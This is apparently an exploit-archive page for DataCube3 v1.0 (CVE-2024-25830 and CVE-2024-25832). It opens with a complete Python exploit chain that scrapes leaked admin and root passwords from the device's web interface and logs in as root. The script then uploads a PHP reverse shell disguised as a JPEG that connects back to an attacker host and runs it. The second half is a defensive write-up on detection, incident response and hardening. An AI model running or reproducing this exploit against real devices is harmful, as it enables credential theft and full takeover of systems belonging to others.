DataCube3 v1.0 - Unrestricted file upload 'RCE'

Exploit Author: Samy Younsi - NS Labs Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-03-10
# Exploit Title: DataCube3 v1.0 - Unrestricted file upload 'RCE'
# Date: 7/28/2022
# Exploit Author: Samy Younsi - NS Labs (https://neroteam.com)
# Vendor Homepage: https://www.f-logic.jp
# Software Link: https://www.f-logic.jp/pdf/support/manual_product/manual_product_datacube3_ver1.0_sc.pdf
# Version: Ver1.0
# Tested on: DataCube3 version 1.0 (Ubuntu)
# CVE : CVE-2024-25830 + CVE-2024-25832

# Exploit chain reverse shell, information disclosure (root password leak) + unrestricted file upload

from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import json
import urllib3
import re
urllib3.disable_warnings()

def banner():
  dataCube3Logo = """ 
        ▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓▓▓
      ▒▒▒▒▒▒▒▒██        DataCube3   Ver1.0      █F-logic▓▓
      ▒▒████▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
      ▒▒████▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
      ▒▒▒▒▒▒▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
      ▒▒▒▒▒▒▒▒██                                ██▓▓████▓▓
      ▒▒▒▒▒▒▒▒██        ██             ██       ██▓▓████▓▓
      ▒▒▒▒▒▒▒▒██        █████████████████       ██▓▓▓▓▓▓▓▓
        ▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓                                       
                                                                                 
\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m         \033[1;91mDataCube3 exploit chain reverse shell\033[1;m                                                 
                FOR EDUCATIONAL PURPOSE ONLY.   
  """
  return print('\033[1;94m{}\033[1;m'.format(dataCube3Logo))


def extractRootPwd(RHOST, RPORT, protocol):
  url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
  try:
    response = requests.get(url, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
      print('[!] \033[1;91mError: DataCube3 web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
      exit()
    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
    scriptTag = str(soup.find_all('script')[12]).replace(' ', '')
    rawLeakedData = re.findall('configData:.*,', scriptTag)[0]
    jsonLeakedData = json.loads('[{}]'.format(rawLeakedData.split('configData:[')[1].split('],')[0]))
    adminPassword = jsonLeakedData[12]['value']
    rootPassword = jsonLeakedData[14]['value']
    print('[INFO] DataCube3 leaked credentials successfully extracted: admin:{} | root:{}.\n[INFO] The target must be vulnerable.'.format(adminPassword, rootPassword))
    return rootPassword
  except:
    print('[ERROR] Can\'t grab the DataCube3 version...')


def generateAuthCookie(RHOST, RPORT, protocol, rootPassword):
  print('[INFO] Generating DataCube3 auth cookie ...')
  url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
  data = {
    'user_id': 'root',
    'user_pw': rootPassword,
    'login': '%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3'
  }
  try:
    response = requests.post(url, data=data, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
      print('[!] \033[1;91mError: An error occur while trying to get the auth cookie, is the root password correct?\033[1;m')
      exit()
    authCookie = response.cookies.get_dict() 
    print('[INFO] Authentication successful! Auth Cookie: {}'.format(authCookie))  
    return authCookie
  except:
    print('[ERROR] Can\'t grab the auth cookie, is the root password correct?')


def extractAccesstime(RHOST, RPORT, LHOST, LPORT, protocol, authCookie):
  print('[INFO] Extracting Accesstime ...')
  url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
  try:
    response = requests.get(url, cookies=authCookie, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
      print('[!] \033[1;91mError: An error occur while trying to get the accesstime value.\033[1;m')
      exit()
    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
    accessTime = soup.find('input', {'name': 'accesstime'}).get('value')
    print('[INFO] AccessTime value: {}'.format(accessTime))
    return accessTime
  except:
    print('[ERROR] Can\'t grab the accesstime value, is the root password correct?')


def injectReverseShell(RHOST, RPORT, LHOST, LPORT, protocol, authCookie, accessTime):
  print('[INFO] Injecting PHP reverse shell script ...')
  filename='rvs.php'
  payload = '<?php $sock=fsockopen("{}",{});$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'.format(LHOST, LPORT)

  data = '-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="add"\r\n\r\nå��ç��追å�\xA0\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="addPhoto"; filename="{}"\r\nContent-Type: image/jpeg\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="accesstime"\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396--\r\n'.format(filename, payload, accessTime)

  headers = {
      'Content-Type': 'multipart/form-data; boundary=---------------------------113389720123090127612523184396'
  }
  url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
  try:
    response = requests.post(url, cookies=authCookie, headers=headers, data=data, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
        print('[!] \033[1;91mError: An error occur while trying to upload the PHP reverse shell script.\033[1;m')
        exit()
    shellURL = '{}://{}:{}/images/slideshow/{}'.format(protocol, RHOST, RPORT, filename)
    print('[INFO] PHP reverse shell script successfully uploaded!\n[INFO] SHELL URL: {}'.format(shellURL))
    return shellURL
  except:
    print('[ERROR] Can\'t upload the PHP reverse shell script, is the root password correct?')


def execReverseShell(shellURL):
  print('[INFO] Executing reverse shell...')
  try:
    response = requests.get(shellURL, allow_redirects=False, verify=False)
    print('[INFO] Reverse shell successfully executed.')
    return
  except Exception as e:
      print('[ERROR] Reverse shell failed. Make sure the DataCube3 device can reach the host {}:{}')
      return False


def main():
  banner()
  args = parser.parse_args()
  protocol = 'https' if args.RPORT == 443 else 'http'
  rootPassword = extractRootPwd(args.RHOST, args.RPORT, protocol)
  authCookie = generateAuthCookie(args.RHOST, args.RPORT, protocol, rootPassword)
  accessTime = extractAccesstime(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie)
  shellURL = injectReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie, accessTime)
  execReverseShell(shellURL)


if __name__ == '__main__':
  parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on f-logic DataCube3 devices.', add_help=False)
  parser.add_argument('--RHOST', help='Refers to the IP of the target machine. (f-logic DataCube3 device)', type=str, required=True)
  parser.add_argument('--RPORT', help='Refers to the open port of the target machine. (443 by default)', type=int, required=True)
  parser.add_argument('--LHOST', help='Refers to the IP of your machine.', type=str, required=True)
  parser.add_argument('--LPORT', help='Refers to the open port of your machine.', type=int, required=True)
  main()


DataCube3 v1.0 — Unrestricted File Upload Leading to RCE: Overview, Impact, and Defensive Guidance

This article explains the security issues discovered in DataCube3 version 1.0 that allow an attacker to obtain remote code execution (RCE) via an unrestricted file upload chain combined with exposed configuration data. The vulnerabilities have been tracked publicly (see CVE-2024-25830 and CVE-2024-25832). The goal here is to describe the technical nature of the problem, realistic impacts, detection opportunities, and practical mitigations and hardening measures for operators and security teams. This is written for defenders, incident responders, and product engineering teams.

Executive summary

  • Two related vulnerabilities in DataCube3 v1.0 permit credential disclosure and unrestricted file upload, enabling an attacker to place executable content on the device’s web-accessible storage and trigger remote code execution.
  • Impact includes full system compromise, credential exposure (including elevated/root credentials), lateral movement, data exfiltration, and persistent backdoors.
  • Remediation requires immediate patching, network segmentation, auditing exposed devices, and hardening file upload handling and authentication mechanisms.

Technical description (high-level)

The issues combine two failure modes common in web-enabled appliances:

  • Information leakage: Configuration information exposed through the device’s web interface can include sensitive values such as administrative or root credentials. When such data is unauthenticated or insufficiently protected, attackers can extract credentials and gain privileged access.
  • Unsafe file upload: A web endpoint that accepts user-provided files without strict validation (content-type checks, extension whitelists, content inspection, or sandboxing) can be abused to upload executable server-side code. If those files are stored inside the web server’s document root or in locations where they can be executed by the platform, this becomes a path to remote code execution.

When combined—exposed credentials let an attacker authenticate to admin functionality that accepts file uploads—the attacker can write a web-executable file to a web-accessible path and invoke it to obtain a remote shell or execute arbitrary commands.

Why this is severe

  • Full compromise: Successful exploitation leads to arbitrary command execution with the privileges of the web server or higher, frequently resulting in full device compromise.
  • Persistence: The attacker can add backdoors or create new accounts if root-equivalent credentials are obtainable.
  • Stealth: Uploaded backdoors can be disguised as harmless assets (images, media) and may persist undetected if directories are not monitored for executable content.

Indicators of compromise and detection strategies

Detection should combine host-based, network, and log-based signals. Useful indicators include:

  • Unexpected file types in web asset directories: Presence of server-side script files (for example, files containing server-side code or text that is not consistent with their declared media type) inside folders normally used for images or static content.
  • Administrative endpoint anomalies: Unusual POST activity to administrative upload endpoints from external IPs or accounts, especially outside normal maintenance windows.
  • Outbound connections from the device to untrusted hosts: Reverse-shell attempts commonly result in persistent outbound TCP connections from the device to attacker-controlled addresses or unusual ports.
  • Configuration dumps or script content returned by unauthenticated web requests: Any web responses that reveal configuration keys, user lists, or password tokens should be treated as critical findings.
  • File creation/modification timestamps and owner changes in upload directories: Files added or modified by unexpected processes or with unexpected permissions.

Operational detection controls to implement:

  • Monitor web server logs for POSTs to upload endpoints and for GET requests that result in 200 responses for newly created assets.
  • Alert on new executable file types in static asset directories and on file content that contains scripting language constructs.
  • Network monitoring for anomalous egress traffic from devices that normally do not initiate external connections.

Immediate incident response steps (if you suspect compromise)

  • Isolate the affected device from the network to prevent lateral movement and outbound command-and-control connections.
  • Preserve logs and disk images for forensic analysis before making changes that could overwrite evidence.
  • Change exposed or leaked credentials after containment. Prefer rotating credentials from an uncompromised management environment.
  • Scan the web root and upload directories for unexpected files and remove suspicious artifacts, but only after preserving forensic copies.
  • Re-image devices when the scope of compromise includes root or persistent backdoors; ensure the restored image is built from a trusted source and updated software versions.
  • Perform a full network sweep to find other devices that may have been accessed using leaked credentials.

Mitigation and hardening recommendations

The following are defensive measures operators and vendors should adopt immediately to prevent similar issues.

For operators / administrators

  • Apply vendor patches and updates: Install any vendor-supplied updates or mitigations as a first step. Keep appliance firmware and software current.
  • Restrict access to management interfaces: Place administrative interfaces on dedicated management networks, restrict access via firewall rules and VPN-only paths, and do not expose admin consoles to the public internet.
  • Enforce least privilege: Limit accounts with elevated privileges and avoid using root-equivalent credentials for routine operations. Use role-based access controls and separate accounts for telemetry, administration, and maintenance.
  • Rotate credentials and disable default accounts: Replace default passwords, disable unused accounts, and require strong, unique passwords or key-based authentication where supported.
  • Network segmentation and egress controls: Prevent appliances from initiating arbitrary outbound connections. Restrict egress to approved hosts and ports and monitor for anomalous connections.

For product engineers and vendors

  • Avoid exposing secrets in web responses: Do not embed plaintext credentials or sensitive configuration values in client-side scripts, HTML comments, or other responses that can be fetched unauthenticated.
  • Secure file upload handling:
    • Validate uploads server-side using strict whitelists of accepted MIME types and verify file content (magic bytes) rather than trusting file extensions.
    • Store uploads outside the document root whenever feasible. If uploads must be served, map them through a proxy that enforces content-type and sanitizes names.
    • Prevent execution in upload directories: Configure the webserver to disallow interpretation of dynamic languages (PHP, ASP, etc.) in directories that hold user-uploaded content.
    • Generate random filenames and avoid using user-provided names directly, to prevent path-traversal or predictable placement.
  • Harden the web server and runtime:
    • Run services with the minimum privileges required; avoid running web services as root.
    • Use OS-level protections (SELinux/AppArmor) and containerization to constrain the attack surface.
    • Disable unneeded functions and server-side features (for example, command-execution APIs) if not required.
  • Implement robust logging and monitoring: Keep detailed audit logs for administrative operations and file uploads, and integrate alerts into central SIEM systems.
  • Perform secure development lifecycle (SDL) activities: Threat modeling, code review focused on input validation and secrets handling, and automated scanning for insecure patterns in firmware/web UI code.

How to prioritize remediation

When deciding what to fix first, consider risk and exposure:

  • High priority: Devices exposed to the internet or reachable from untrusted networks, devices with leaked credentials or signs of compromise, and devices used to store sensitive data.
  • Medium priority: Devices on internal networks without strict segmentation where an attacker could reach management interfaces following lateral movement.
  • Low priority: Offline or decommissioned devices, but still track and update their firmware before redeployment.

For security testers and auditors (ethical guidance)

When assessing appliances and embedded web systems, focus on defensive outcomes:

  • Report findings responsibly: Use coordinated disclosure channels and avoid publishing exploit details that enable abuse until patches are available.
  • Prioritize checks that emulate likely attacker paths—information leakage, misconfigured authentication, and insecure upload handling—while limiting intrusive actions that might disrupt production devices.

Summary table: Risks and countermeasures

Risk Description Primary Countermeasure
Credential leak Configuration or UI exposes sensitive values Remove sensitive data from client responses; require authentication for config endpoints
Unrestricted upload Upload endpoints accept files that can be executed Strict server-side validation; store uploads outside web root; prevent execution
Remote code execution Combines leaked credentials + unsafe upload to achieve code execution Patch, network segmentation, restrict admin access, rotate credentials

Final recommendations

Appliance operators should treat web-facing management interfaces as high-risk assets. Immediately apply any vendor updates addressing the disclosed CVEs, restrict access to administrative interfaces, review and rotate credentials that may have been exposed, and audit upload handling and asset directories for unexpected files. Product vendors must remove sensitive data from unauthenticated responses and harden upload processing and server configuration so that uploaded content cannot be executed.

If you operate DataCube3 or similar appliances, consider a proactive security review of web UI endpoints and deploy layered defenses (network controls, host hardening, logging, and monitoring) to reduce the blast radius of any future vulnerabilities.